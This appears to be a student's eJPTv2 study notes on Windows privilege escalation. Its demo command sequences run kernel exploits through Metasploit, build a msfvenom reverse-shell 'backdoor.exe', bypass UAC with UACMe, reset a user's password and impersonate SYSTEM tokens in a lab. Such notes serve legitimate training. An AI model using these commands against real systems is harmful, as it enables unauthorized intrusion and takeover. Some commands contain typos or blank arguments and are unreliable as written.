> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/system-host-based-attacks/windows-vulnerabilities/windows-privilege-escalation.md). # Windows Privilege Escalation ### Windows Kernel Exploits **Privilege Escalation** * Privilege Escalation is the process of exploiting vulnerabilities or misconfiguration in systems to elevate privilege from one user to another, typically to a user with administrative or root access on a system. * Privilege escalation is a vital element of the attack life cycle and is a major determinant in the overall success of a penetration test. * After gaining an initial foothold on a target system you will be required to elevate your privileges in order to perform tasks and functionality that require administrative privileges. * The importance of privilege escalation in the penetration testing process cannot be overstated or overlooked. Developing your privilege escalation skills will mark you out as a good penetration tester. **Windows Kernel** * A Kernel is a computer program that is the cord of an operating system and has complete control over every resource and hardware on a system. It acts as a translation layer between hardware and software and facilitates the communication between these two layers. * Windows NT is the kernel that comes pre-packaged with all versions of Microsoft Windows and operates as a traditional kernel with a few exceptions based on user design philosophy. It consists of two main modes of operations that determine access to system resources and hardware. * User Mode - Programs and services running in user mode have limited access to system resources and functionality. * Kernel Mode - Kernel mode has unrestricted access to system resources and functionality with the added functionality of managing devices and system memory. **Windows Kernel Exploitation** * Kernel exploits on Windows will typically target vulnerabilities in the Windows kernel to execute arbitrary code in order to run privileged system commands or to obtain a system shelll. * This process will differ based on the version of Windows being targeted and the kernel exploit being used. * Privilege Escalation on Windows systems will typically follow the following methodology * Identifying kernel vulnerabilities * Downloading,m compiling and transferring kernel exploits onto the target system. **Tools & Environment** * Windows-Exploit Suggester - This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins. * GitHUB: * Windows-Kernel-Exploits - Collection of Windows Kernel exploits sorted by CVE. * GitHub:[ ](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-135) *Note: The techniques demonstrated in this video are performed on a Windows 7 SP1 VM.* ***DEMO: Windows Kernel Exploits*** * obtain initial access ``` >>>> sessions >>>> sessions 3 >>>> getuid >>>> getprivs >>>> getsystem > search suggester > use post/multi/recon/local_exploit_suggester > show options > set session 3 > run > use exploit/windows/local/ms16_014_wmi_recv_notif > set session 3 > set lport 4422 > exploit >>>> getuid ``` * check all the exploits suggested on Rapid7 **Installing WIndows-Exploit-Suggester** ``` >>>> getuid >>>> shell >>>> systeminfo (copy the whole into a file named win7.txt) ``` ``` vim win7.txt ``` ``` cd WIndows-Enum/Windows-Exploit-Suggester ``` ``` ./windows-exploit-suggester.py --update ``` ``` ./windows-exploit-suggester.py --database -mssb.xls --systeminfo ~/Desktop/win7.txt ``` * its give list of vulnerabilities * click on 41015.exe then download it ``` >>>> cd C:\\ >>>> dir >>>> cd Temp\\ >>>> ls >>>> upload ~//41015.exe >>>> shell >>>> dir >>>> .\41015.exe >>>> .\41015.exe 7 whoami NT Authority\System ``` *** ### Bypassing UAC with UACMe **UAC (User Account Control)** * User Account Control (UAC) is a Windows security feature introduced in Windows Vista that is used to prevent unauthorized changes from being made to the operating system. * UAC is used to ensure that changes to the operating system requires approval from the administrator or a user account that is part of the local administrators group. * A non-privileged user attempting to execute a program with elevated privilege will be prompted with the UAC credential prompt, whereas a privileged user will be prompted with a consent prompt * Attacks can bypass UAC in order to execute malicious executables with elevated privileges. ![](/files/FNnWyVRVdue0jD3L3779) **Bypassing UAC** * In order to successfully bypass UAC. we will need to have access to a user account that is a part of the local administrators group on the Windows target system. * UAC allows a program to be executed with administrative privileges, consequently prompting the user for confirmation. * UAC has various integrity levels ranging from low to high, if the UAC protection level is set below high, Windows programs can be executed with elevated privileges without prompting the user for confirmation. * There are multiple tools and techniques that can be used to bypass UAC, however, the tool and technique used will depend on the version of Windows running on the target system. **Bypassing UAC with UACMe** * UACMe is an open source, robust privilege escalation tool developed by @hfire0x. It can be used to bypass Windows UAC by leveraging various techniques. * GitHub: * The UACME GitHub repository contains a very well documented list of methods that can be used to bypass UAC on multiple versions of Windows ranging from Windows 7 to Windows 10. * It allows attackers to execute malicious payloads on a Windows target with administrative/elevated privileges by abusing the inbuilt Windows AuteElevate tool. * The UACMe GitHub repository has more than 60 exploits that can be used to bypass UAC depending on the version of Windows running on the target. **DEMO: Bypassing UAC with UACMe** ``` net users ``` ``` net localgroup administrators ``` * If User Account Control settings is set to high then it is very difficult to bypass * But if its set to default after installation then we can bypass it. ``` nmap -sV ``` open browser http\://\:80 ``` service postgresql start && msfconsole -q > setg RHOSTS > search rejetto > use exploit/windows/http/rejetto_htf_exec > run >>>> sysinfo >>>> pgrep explorer (as it is x86 shell) >>>> migrate 2448 >>>> sysinfo >>>> getuid >>>> getprivs >>>> shell >>>> net user >>>> net localgroup administrators >>>> net user admin password123 (password changing command) ``` * UACMe - ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > backdoor.exe ``` ``` msfconsole -q > use multi/handler > set payload windows/meterpreter/reverse_tcp > set LHOST > set LPORT > run ``` ``` old meterpreter >>>> cd C:\\ >>>> mkdir Temp >>>> cd Temp >>>> upload backdoor.exe >>>> upload /root/Desktop/tools/UACME/Akagi64.exe >>>> shell .\Akagi64.exe 23 C:\Temp\backdoor.exe sysinfo getuid getprivs (now we have elevated privileges) ps (we can migrate to any process runned by System) >>>> migrate 688 >>>> sysinfo >>>> getuid ``` method 33 is good for window 10 *** ### Access Token Impersonation **WIndows Access Tokens** * Windows access tokens are a core element of the authentication process on Windows and are created and managed by the Local Security Authority Subsystem Service (LSASS). * A Windows access token is responsible for identifying and describing the security context of a process or thread running on a system. Simply put, an access token can be thought of a temporary key akin to a web cookie that provides users with access to a system or network resource without having to provide credentials each time a process is started or a system resources is accessed. * Access tokens are generated by the winlogon.exe process every time a user authenticates successfully and includes the identity and privileges of the user account associated with the thread or process. This token is then attacked to the userinit.exe process, after which all child process started by a user will inherit a copy of the access token from their creator and will run under privileges of the same access token. * Windows access tokens are categorized based on the varying security levels assigned to them. These security levels are used to determine the privileges that are assigned to a specific token. * An access token will typically be assigned one of the following security levels: * Impersonate-level tokens are created as a direct result of non-interactive login on Windows, typically through specific system services or domain logons. * Delegate-level tokens are typically created through remote access protocols such as RDP. * Impersonate-level tokens can be used to impersonate a token on the local system and not on any external systems that utilize the token. * Delegate-level tokens pose the largest threat as they can be used to impersonate tokens on any system. **Windows Privilegs** * The process of impersonating access tokens to elevate privileges on a system will primarily depend on the privileges assigned to the account that has been exploited to gain initial access as well as the impersonation or delegation token available. * The following are the privileges that are required for a successful impersonation attack: * **SeAssignPrimaryToken**: This allows a user to impersonate tokens. * **SeCreateToken**: This allows a user to create an arbitrary token with administrative privileges. * **SeImpersonate Privilege**: This allows a user to create a process under the security context of another user typically with administrative privileges. **The Incognito Module** * Incognito is a built-in meterpreter module that was originally a standalone application that allows you to impersonate user tokens after successful exploitation * We can use the incognito module to display a list of available tokens that we can impersonate. **DEMO: Access Token Impersonation** ``` nmap -sV ``` ``` msfconsole -q > search rejjetto > use exploit/windows/http/rejetto_hfs_exec > set RHOSTS > run >>>> sysinfo >>>> pgrep explorer >>>> migrate 3512 >>>> getuid >>>> getprivs >>>> load incognito >>>> list_tokens -u >>>> impersonate_token "ATTACKDEFENCE\Administrator" >>>> getuid >>>> getprivs >>>> pgrep explorer >>>> migrate 3512 >>>> getprivs >>>> getuid >>>> impersonate_token "NT AUTHORITY\SYSTEM" >>>> getuid >>>> getprivs ``` * potato attack